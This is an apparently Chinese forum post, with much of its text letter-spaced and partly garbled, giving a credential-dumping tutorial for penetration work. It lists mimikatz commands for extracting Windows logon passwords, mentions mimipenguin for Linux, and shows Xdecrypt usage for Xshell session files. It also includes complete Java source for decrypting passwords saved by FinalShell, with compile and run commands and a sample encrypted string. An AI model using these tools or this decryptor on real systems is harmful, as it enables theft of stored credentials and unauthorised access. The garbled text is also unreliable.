[160] 2020-08-26_读密之路

文档创建者:s7ckTeam
浏览次数:8
最后更新:2025-01-16
2020-08-26_读密之路   T a o i b g   A d m i n   T e a m   2 0 2 0 - 0 8 - 2 6 1 .   m i m i k a t z 2 .   X s h e l l & F i n a l s h e l l m i m i k a t z g i t h u b m i m i k a t z g i t h u b h t t p s : / / g i t h u b . c o m / g e n t i l k i w i / m i m i k a t z / W i n d o w s p r i v i l e g e : : d e b u g           / / s e k u r l s a : : l o g o n p a s s w o r d s         / /
w i n d o w s 2 0 0 8 l i n u x m i m i p e n g u i n m i m i p e n g u i n L i n u x m i m i k a t z L i n u x 仿 g i t h u b h t t p s : / / g i t h u b . c o m / h u n t e r g r e g a l / m i m i p e n g u i n r o o t K a l i   4 . 3 . 0   ( r o l l i n g )   x 6 4   ( g d m 3 ) U b u n t u   D e s k t o p   1 2 . 0 4   L T S   x 6 4   ( G n o m e   K e y r i n g   3 . 1 8 . 3 - 0 u b u n t u 2 ) U b u n t u   D e s k t o p   1 6 . 0 4   L T S   x 6 4   ( G n o m e   K e y r i n g   3 . 1 8 . 3 - 0 u b u n t u 2 ) ( ) X U b u n t u   D e s k t o p   1 6 . 0 4   x 6 4   ( G n o m e   K e y r i n g   3 . 1 8 . 3 - 0 u b u n t u 2 ) ( ) V S F T P d   3 . 0 . 3 - 8 + b 1   ( A c t i v e   F T P   c l i e n t   c o n n e c t i o n s ) A p a c h e 2   2 . 4 . 2 5 - 3   ( A c t i v e / O l d   H T T P   B A S I C   A U T H   S e s s i o n s ) o p e n s s h - s e r v e r   1 : 7 . 3 p 1 - 1   ( A c t i v e   S S H   c o n n e c t i o n s   s u d o   u s a g e ) X s h e l l & F i n a l s h e l l x s h e l l f i n a l s h e l l s s h
* * X s h e l l & X f t p   * * x s h e l l x f t p x s h x s h e l l S I D X d e c r y p t : h t t p s : / / g i t h u b . c o m / d z x s / X d e c r y p t C : U s e r s D o c u m e n t s A p p l i c a t i o n   D a t a N e t S a r a n g (   x s h e l l     x f t p   ) S e s s i o n s C : U s e r s D o c u m e n t s N e t S a r a n g   C o m p u t e r 6 (   x s h e l l     x f t p   ) S e s s i o n s x s h e l l (   x s h e l l     x f t p   ) S e s s i o n s u s a g e :   X d e c r y p t . p y   [ - h ]   [ - s   S I D ]   [ - p   P A S S W O R D ] x s h ,   x f p   p a s s w o r d   d e c r y p t o p t i o n a l   a r g u m e n t s :     - h ,   - - h e l p                         s h o w   t h i s   h e l p   m e s s a g e   a n d   e x i t     - s   S I D ,   - - s i d   S I D           ` u s e r n a m e ` + ` s i d ` ,   u s e r   ` w h o a m i   / u s e r `   i n   c o m m a n d .
使 f i n a l s h e l l f i n a l s h e l l f i n a l s h e l l c o n n f i n a l s h e l l c o n n x x x . j s o n j s o n c t r l + F     p a s s w o r d h t t p s : / / w w w . s e c q u a n . o r g / T o o l s / 1 0 7 1 2 2 3 j a v a     - s   S I D ,   - - s i d   S I D           ` u s e r n a m e ` + ` s i d ` ,   u s e r   ` w h o a m i   / u s e r `   i n   c o m m a n d .     - p   P A S S W O R D ,   - - p a s s w o r d   P A S S W O R D                                                 t h e   p a s s w o r d   i n   s e s s i o n s   o r   p a t h   o f   s e s s i o n s p y t h o n 3   X d e c r y p t . p y   - p   " C : U s e r s D o c u m e n t s N e t S a r a n g   C o m p u t e r 6 X s h e l l S e s s i o n s " i m p o r t   j a v a . i o . B y t e A r r a y O u t p u t S t r e a m ; i m p o r t   j a v a . i o . D a t a O u t p u t S t r e a m ; i m p o r t   j a v a . i o . I O E x c e p t i o n ; i m p o r t   j a v a . m a t h . B i g I n t e g e r ; i m p o r t   j a v a . s e c u r i t y . M e s s a g e D i g e s t ; i m p o r t   j a v a . s e c u r i t y . N o S u c h A l g o r i t h m E x c e p t i o n ; i m p o r t   j a v a . s e c u r i t y . S e c u r e R a n d o m ; i m p o r t   j a v a . u t i l . B a s e 6 4 ; i m p o r t   j a v a . u t i l . R a n d o m ; i m p o r t   j a v a x . c r y p t o . C i p h e r ; i m p o r t   j a v a x . c r y p t o . S e c r e t K e y ; i m p o r t   j a v a x . c r y p t o . S e c r e t K e y F a c t o r y ; i m p o r t   j a v a x . c r y p t o . s p e c . D E S K e y S p e c ; p u b l i c   c l a s s   F i n a l S h e l l D e c o d e P a s s   {         p u b l i c   s t a t i c   v o i d   m a i n ( S t r i n g [ ]   a r g s ) t h r o w s   E x c e p t i o n   {                 S y s t e m . o u t . p r i n t l n ( d e c o d e P a s s ( a r g s [ 0 ] ) ) ;         }         p u b l i c   s t a t i c   b y t e [ ]   d e s D e c o d e ( b y t e [ ]   d a t a ,   b y t e [ ]   h e a d )   t h r o w s   E x c e p t i o n   {                 S e c u r e R a n d o m   s r   =   n e w   S e c u r e R a n d o m ( ) ;
                S e c u r e R a n d o m   s r   =   n e w   S e c u r e R a n d o m ( ) ;                 D E S K e y S p e c   d k s   =   n e w   D E S K e y S p e c ( h e a d ) ;                 S e c r e t K e y F a c t o r y   k e y F a c t o r y   =   S e c r e t K e y F a c t o r y . g e t I n s t a n c e ( " D E S " ) ;                 S e c r e t K e y   s e c u r e k e y   =   k e y F a c t o r y . g e n e r a t e S e c r e t ( d k s ) ;                 C i p h e r   c i p h e r   =   C i p h e r . g e t I n s t a n c e ( " D E S " ) ;                 c i p h e r . i n i t ( 2 ,   s e c u r e k e y ,   s r ) ;                 r e t u r n   c i p h e r . d o F i n a l ( d a t a ) ;         }         p u b l i c   s t a t i c   S t r i n g   d e c o d e P a s s ( S t r i n g   d a t a )   t h r o w s   E x c e p t i o n   {                 i f   ( d a t a   = =   n u l l )   {                         r e t u r n   n u l l ;                 }   e l s e   {                         S t r i n g   r s   =   " " ;                         b y t e [ ]   b u f   =   B a s e 6 4 . g e t D e c o d e r ( ) . d e c o d e ( d a t a ) ;                         b y t e [ ]   h e a d   =   n e w   b y t e [ 8 ] ;                         S y s t e m . a r r a y c o p y ( b u f ,   0 ,   h e a d ,   0 ,   h e a d . l e n g t h ) ;                         b y t e [ ]   d   =   n e w   b y t e [ b u f . l e n g t h   -   h e a d . l e n g t h ] ;                         S y s t e m . a r r a y c o p y ( b u f ,   h e a d . l e n g t h ,   d ,   0 ,   d . l e n g t h ) ;                         b y t e [ ]   b t   =   d e s D e c o d e ( d ,   r a n D o m K e y ( h e a d ) ) ;                         r s   =   n e w   S t r i n g ( b t ) ;                         r e t u r n   r s ;                 }         }         s t a t i c   b y t e [ ]   r a n D o m K e y ( b y t e [ ]   h e a d )   {                 l o n g   k s   =   3 6 8 0 9 8 4 5 6 8 5 9 7 0 9 3 8 5 7 L   /   ( l o n g ) ( n e w   R a n d o m ( ( l o n g ) h e a d [ 5 ] ) ) . n e x t I n t ( 1 2 7 ) ;                 R a n d o m   r a n d o m   =   n e w   R a n d o m ( k s ) ;                 i n t   t   =   h e a d [ 0 ] ;                 f o r ( i n t   i   =   0 ;   i   <   t ;   + + i )   {                         r a n d o m . n e x t L o n g ( ) ;                 }                 l o n g   n   =   r a n d o m . n e x t L o n g ( ) ;                 R a n d o m   r 2   =   n e w   R a n d o m ( n ) ;                 l o n g [ ]   l d   =   n e w   l o n g [ ] { ( l o n g ) h e a d [ 4 ] ,   r 2 . n e x t L o n g ( ) ,   ( l o n g ) h e a d [ 7 ] ,   ( l o n g ) h e a d [ 3 ] ,   r 2 . n e x t L o n g ( ) ,   ( l o n g ) h e a d [ 1 ] ,   r a n d o m . n e x t L o n g ( ) ,   ( l o n g ) h e a d [ 2 ] } ;                 B y t e A r r a y O u t p u t S t r e a m   b o s   =   n e w   B y t e A r r a y O u t p u t S t r e a m ( ) ;                 D a t a O u t p u t S t r e a m   d o s   =   n e w   D a t a O u t p u t S t r e a m ( b o s ) ;                 l o n g [ ]   v a r 1 5   =   l d ;                 i n t   v a r 1 4   =   l d . l e n g t h ;                 f o r ( i n t   v a r 1 3   =   0 ;   v a r 1 3   <   v a r 1 4 ;   + + v a r 1 3 )   {                         l o n g   l   =   v a r 1 5 [ v a r 1 3 ] ;                         t r y   {                                 d o s . w r i t e L o n g ( l ) ;                         }   c a t c h   ( I O E x c e p t i o n   v a r 1 8 )   {                                 v a r 1 8 . p r i n t S t a c k T r a c e ( ) ;                         }                 }                 t r y   {                         d o s . c l o s e ( ) ;                 }   c a t c h   ( I O E x c e p t i o n   v a r 1 7 )   {                         v a r 1 7 . p r i n t S t a c k T r a c e ( ) ;                 }                 b y t e [ ]   k e y D a t a   =   b o s . t o B y t e A r r a y ( ) ;                 k e y D a t a   =   m d 5 ( k e y D a t a ) ;                 r e t u r n   k e y D a t a ;         }         p u b l i c   s t a t i c   b y t e [ ]   m d 5 ( b y t e [ ]   d a t a )   {                 S t r i n g   r e t   =   n u l l ;                 b y t e [ ]   r e s = n u l l ;                 t r y   {                         M e s s a g e D i g e s t   m ;                         m   =   M e s s a g e D i g e s t . g e t I n s t a n c e ( " M D 5 " ) ;                         m . u p d a t e ( d a t a ,   0 ,   d a t a . l e n g t h ) ;                         r e s = m . d i g e s t ( ) ;                         r e t   =   n e w   B i g I n t e g e r ( 1 ,   r e s ) . t o S t r i n g ( 1 6 ) ;                 }   c a t c h   ( N o S u c h A l g o r i t h m E x c e p t i o n   e )   {                         e . p r i n t S t a c k T r a c e ( ) ;
F i n a l S h e l l D e c o d e P a s s . j a v a 使 F i n a l S h e l l D e c o d e P a s s . c l a s s F i n a l S h e l l D e c o d e P a s s . c l a s s 使 j a v a   F i n a l S h e l l D e c o d e P a s s                           e . p r i n t S t a c k T r a c e ( ) ;                 }                 r e t u r n   r e s ;         } } j a v a c   F i n a l S h e l l D e c o d e P a s s . j a v a j a v a   F i n a l S h e l l D e c o d e P a s s   G 0 B q H C h B Z X F D r X 1 7 I t J Z 5 g = =
您需要登录后才可以回帖 登录 | 立即注册

本版积分规则